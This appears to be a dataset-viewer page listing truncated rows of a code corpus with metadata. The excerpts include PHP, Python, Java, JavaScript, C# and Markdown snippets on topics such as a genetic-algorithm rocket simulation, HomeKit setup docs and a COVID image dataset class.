* @method GroupPermissions_Row getAt
* @method GroupPermissions_Row create
* @method GroupPermissions... |
Python | UTF-8 | 990 | 2.734375 | 3 | [] | no_license | import multiprocessing
import time
import sys
print("""
___
/ _ \ _ __ _ _ _ __
| | | | '_ \| | | | '__|
| |_| | | | | |_| | |
\___/|_| |_|\__,_|_|
""")
print("")
print("1. de Alt Alta Verilen sayıları Kopyalarayak Şifrene koya bilirsin zorluk seviyesi orta düzey :)")
print("")
print("2. de sana verilen pass... |
Java | UTF-8 | 2,032 | 3.09375 | 3 | [
"MIT"
] | permissive | package com.alibaba.demon;
import com.google.common.collect.Maps;
import org.apache.commons.lang3.StringUtils;
import org.junit.jupiter.api.Test;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.str... |
JavaScript | UTF-8 | 1,726 | 3.15625 | 3 | [
"MIT"
] | permissive | class Population {
constructor(mutation, popSize){
this.mutationRate = mutation;
this.population = [];
this.matingPool = [];
this.generations = 0;
for(let i = 0; i < popSize; i++){
let location = createVector(width/2, height + 20);
this.population[i] = new Rocket(location, new DNA());... |
PHP | UTF-8 | 207 | 2.515625 | 3 | [
"MIT"
] | permissive | <?php
namespace App\Core\TransactionProcessorPipes;
use App\Models\Transaction;
use Closure;
interface ITransactionProcessorPipe
{
public function handle(Transaction $transaction, Closure $next);
}
|
Markdown | UTF-8 | 19,712 | 2.625 | 3 | [
"Apache-2.0"
] | permissive | ---
title: HomeKit
description: Instructions on how to set up the HomeKit integration in Open Peer Power.
ha_category:
- Voice
ha_release: 0.64
ha_domain: homekit
excerpt: none
---
The `homekit` integration allows you to forward entities from Open Peer Power to Apple HomeKit, so they can be controlled from Apple's H... |
Java | UTF-8 | 2,538 | 2.546875 | 3 | [
"MIT"
] | permissive | package com.user.entity.dao.member;
import java.util.Date;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;
import ... |
Python | UTF-8 | 2,399 | 2.796875 | 3 | [] | no_license | import os
from PIL import Image
import random
from torchvision import transforms
from torch.utils.data import Dataset
import torch
from sklearn import preprocessing
class COVIDdataset(Dataset): # create COVID dataset class
def __init__(self, img_dirs=[], labels=[], input_size=0):
self.img_dirs = img_dirs... |
PHP | UTF-8 | 712 | 2.515625 | 3 | [] | no_license | <?php
namespace ru\nazarov\crm\forms;
use ru\nazarov\sitebase\core\forms\RegexpValidator;
use ru\nazarov\sitebase\core\forms\MethodValidator;
class OrgForm extends Form {
public function init() {
$this->addFieldExt('name', 'Name', null, true)
->addValidator(new RegexpValidator('^.{1,255}$... |
C# | UTF-8 | 2,265 | 3.53125 | 4 | [] | no_license | using System;
using System.Collections;
using System.Collections.Generic;
namespace Exercise35
{
class Program
{
static void Main(string[] args)
{
string[] animals = { "cow", "elephant", "jaguar", "horse", "crow" };
int[] nums = new int[2];
Console.WriteLin... |
Java | UTF-8 | 1,788 | 2.3125 | 2 | [] | no_license |
package cn.faury.fdk.rpc.spring.schema.parser;
import cn.faury.fdk.common.utils.StringUtil;
import cn.faury.fdk.rpc.spring.schema.base.FBaseBeanDefinitionParser;
import org.springframework.beans.factory.support.BeanDefinitionBuilder;
import org.springframework.remoting.caucho.HessianServiceExporter;
import org.spring... |
Java | UTF-8 | 1,780 | 2.078125 | 2 | [] | no_license | package com.example.jondhc.yoyo;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.media.Image;
import android.media.MediaPlayer;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import andr... |
Markdown | UTF-8 | 2,407 | 3.0625 | 3 | [] | no_license | # Under-600 Words
## anyway
- 副詞
(意味)とにかく、それにもかかわらず、やはり
- Let's try anyway
- (訳)とにかくやってみよう
- He pleaded with her not to leave him, but she did anyway.
- (訳)彼は彼女に自分の所を去らないように懇願したが, それでも彼女は去っていった.
## following
- 前置詞
(意味)~に続いて
- 形容詞
(意味)次の、以下の
- Following the speech, we had dinner
- スピーチに続いて夕食をとった
- in the... |
Markdown | UTF-8 | 9,042 | 3.71875 | 4 | [
"MIT"
] | permissive | # C-- Compiler
C-- is a programming language much like C, but with a few features missing allowing for easier compilation. The language still includes the essentials such as: variables, loops, functions with arguments and return values, arrays. Example programs can be found [here](https://github.com/BakerSmithA/c--comp... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.